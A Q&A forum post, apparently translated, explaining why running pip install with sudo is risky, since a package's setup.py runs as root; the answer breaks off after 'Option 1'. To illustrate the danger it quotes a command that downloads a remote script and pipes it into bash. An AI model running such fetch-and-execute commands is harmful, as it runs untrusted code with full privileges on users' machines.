Why you shouldn't use sudo pip?
📁 question, pip
Why shouldn't you use sudo pip? I don't fully understand this aspect. I was suggested to ask a separate question. It might also be useful for many other people to know.
"
nWhy you should NOT use sudo pip install?
nWhen installing a package, you are not just placing it in your file system, but also executing the setup.py script. Since anyone can upload a package to PyPI, you cannot be sure that setup.py does not contain code whose execution under the root user is undesirable/dangerous/unacceptable.
In terms of danger level, this is equivalent to executing a shell script "from the cloud" as superuser:
nwget -O - http://example.com/some/unsafe/script.sh | bashnnWhat to do then?
nOption 1
nExcept in cases where you absolutely need
Log in to leave an answer